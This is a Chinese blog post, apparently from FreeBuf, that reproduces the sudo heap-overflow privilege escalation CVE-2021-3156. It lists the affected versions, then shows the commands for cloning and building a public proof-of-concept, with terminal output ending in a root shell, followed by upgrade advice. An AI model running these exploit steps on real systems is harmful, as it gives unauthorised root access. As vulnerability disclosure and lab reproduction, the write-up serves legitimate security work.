Linux sudo权限提升漏洞(CVE-2021-3156)复现
2021-01-31 12:35:08 Author: www.freebuf.com(查看原文) 阅读量:105 收藏

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Linux sudo权限提升漏洞(CVE-2021-3156)复现

一、漏洞简介

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

二、影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

不受影响版本

Sudo =>1.9.5p2

三、漏洞复现

执行获取root权限:

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具体操作过程:

ubuntu@VM-0-5-ubuntu:~$ git clone https://github.91chifun.workers.dev//https://github.com/blasty/CVE-2021-3156.git

Cloning into 'CVE-2021-3156'...

warning: redirecting to https://github.com.cnpmjs.org/blasty/CVE-2021-3156.git/

remote: Enumerating objects: 11, done.

remote: Counting objects: 100% (11/11), done.

remote: Compressing objects: 100% (9/9), done.

remote: Total 11 (delta 2), reused 11 (delta 2), pack-reused 0

Unpacking objects: 100% (11/11), done.

ubuntu@VM-0-5-ubuntu:~$ cd C

Cerberus/ CVE-2020-13942/ CVE-2020-14882_ALL/ CVE-2020-8193/ CVE-2021-3156/

ubuntu@VM-0-5-ubuntu:~$ cd CVE-2021-3156/

ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ make

rm -rf libnss_X

mkdir libnss_X

gcc -o sudo-hax-me-a-sandwich hax.c

gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c

ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <[email protected]>

usage: ./sudo-hax-me-a-sandwich <target>

available targets:

------------------------------------------------------------

0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31

1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

------------------------------------------------------------

ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ sudo -V

Sudo version 1.8.21p2

Sudoers policy plugin version 1.8.21p2

Sudoers file grammar version 46

Sudoers I/O plugin version 1.8.21p2

ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <[email protected]>

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'

** pray for your rootshell.. **

[+] bl1ng bl1ng! We got it!

# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare),500(ubuntu)

#

exp地址:

https://github.com/blasty/CVE-2021-3156

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操作步骤:

build:$make

list targets:

$./sudo-hax-me-a-sandwich

run:

$./sudo-hax-me-a-sandwich

四、漏洞防护

目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:

https://www.sudo.ws/download.html

参考:

https://github.com/blasty/CVE-2021-3156

https://blog.csdn.net/Vdieoo/article/details/113247603

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